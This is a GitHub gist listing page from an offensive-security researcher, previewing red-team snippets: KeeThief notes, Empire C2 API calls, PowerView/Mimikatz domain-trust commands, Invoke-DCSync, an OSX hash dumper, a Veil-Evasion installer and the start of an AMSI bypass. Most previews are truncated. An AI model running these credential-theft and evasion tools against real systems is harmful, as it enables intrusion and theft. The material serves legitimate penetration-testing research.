Skip to content

Instantly share code, notes, and snippets.

View HarmJ0y's full-sized avatar
💭
Coding towards chaotic good while living on the decision boundary

Will HarmJ0y

💭
Coding towards chaotic good while living on the decision boundary
View GitHub Profile
@HarmJ0y
HarmJ0y / KeeThief.markdown
Last active March 20, 2020 19:43
KeeThief clarification points

A few clarification points for the "KeeThief – A Case Study in Attacking KeePass Part 2" post:

  1. KeeThief doesn't require local administrator rights, only rights to access the KeePass.exe process space you're targeting.

  2. KeeThief.ps1 is fully-self self-contained (no dependencies and no files dropped to disk) and PowerShell Version 2 compliant (so it will work on Windows 7+).

  3. Secure desktop doesn't matter/come into play as a keylogger isn't used or needed.

  4. This approach is different from KeeFarce - KeeThief recovers the plaintext master password and other key material from memory instead of calling internal methods to export the database contents.

@HarmJ0y
HarmJ0y / rest.sh
Last active March 20, 2020 20:14
Empire RESTful API usage
# start empire headless with the specified API username and password
./empire --headless --username empireadmin --password 'Password123!'
# login and the current server token
curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'
# store the token in a variable
TOKEN=<API_token>
# see listener options
@HarmJ0y
HarmJ0y / 44con_demo.ps1
Created September 17, 2016 21:00
Demo for the 44con "Trusts You Might Have Missed" presentation
# import PowerView and Invoke-Mimikatz
Import-Module .\powerview.ps1
Import-Module .\mimikatz.ps1
# map all reachable domain trusts
Invoke-MapDomainTrust
# enumerate groups with 'foreign' users users, and convert the foreign principal SIDs to names
Find-ForeignGroup -Domain external.local
Find-ForeignGroup -Domain external.local | Select-Object -ExpandProperty UserName | Convert-SidToName
@HarmJ0y
HarmJ0y / Invoke-DCSync.ps1
Last active February 2, 2021 10:46 — forked from monoxgas/Invoke-DCSync.ps1
What more could you want?
This file has been truncated, but you can view the full file.
function Invoke-DCSync
{
<#
.SYNOPSIS
Uses dcsync from mimikatz to collect NTLM hashes from the domain.
Author: @monoxgas
Invoke-ReflectivePEInjection
@HarmJ0y
HarmJ0y / ubuntu_veil_evasion_setup.sh
Last active May 12, 2021 08:33
This short script will install Metasploit as well as Veil-Evasion on Ubuntu
#!/bin/bash
sudo apt-get install git
cd /tmp/
git clone https://github.com/darkoperator/MSF-Installer.git
cd MSF-Installer
sudo ./msf_install.sh -i
source ~/.bashrc
sudo chmod 0666 /usr/local/share/metasploit-framework/log/production.log
@HarmJ0y
HarmJ0y / Find-KeePassconfig.ps1
Created July 4, 2016 20:47
Finds and parses any KeePass.config.xml (2.X) and KeePass.ini (1.X) files.
function Find-KeePassconfig {
<#
.SYNOPSIS
Finds and parses any KeePass.config.xml (2.X) and KeePass.ini (1.X) files.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
@HarmJ0y
HarmJ0y / osx_hashdump.py
Created January 12, 2016 04:30
osx_hashdump.py
#!/usr/bin/python
# extracts OSX user hashes and outputs a format crackable with oclHashcat
# adapted from http://apple.stackexchange.com/questions/186893/os-x-10-9-where-are-password-hashes-stored
# and https://web.archive.org/web/20140703020831/http://www.michaelfairley.co/blog/2014/05/18/how-to-extract-os-x-mavericks-password-hash-for-cracking-with-hashcat/
#
# automation of approach by @harmj0y
#
# sudo ./osx_hashdump.py
# ./oclHashcat64.bin -m 7100 hash.txt wordlist.txt
@HarmJ0y
HarmJ0y / patchless_amsi.h
Created May 13, 2022 19:14 — forked from CCob/patchless_amsi.h
In-Process Patchless AMSI Bypass
#ifndef PATCHLESS_AMSI_H
#define PATCHLESS_AMSI_H
#include <windows.h>
static const int AMSI_RESULT_CLEAN = 0;
PVOID g_amsiScanBufferPtr = nullptr;
unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) {
@HarmJ0y
HarmJ0y / RC4.ps1
Last active August 30, 2022 15:03
PowerShell RC4 Implementation
function ConvertTo-Rc4ByteStream {
<#
.SYNOPSIS
Converts an input byte array to a RC4 cipher stream using the specified key.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
@HarmJ0y
HarmJ0y / Get-NonstandardService.ps1
Created June 7, 2017 01:11
Get-NonstandardService
function Get-NonstandardService {
<#
.SYNOPSIS
Returns services where the associated binaries are either not signed, or are
signed by an issuer not matching 'Microsoft'.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None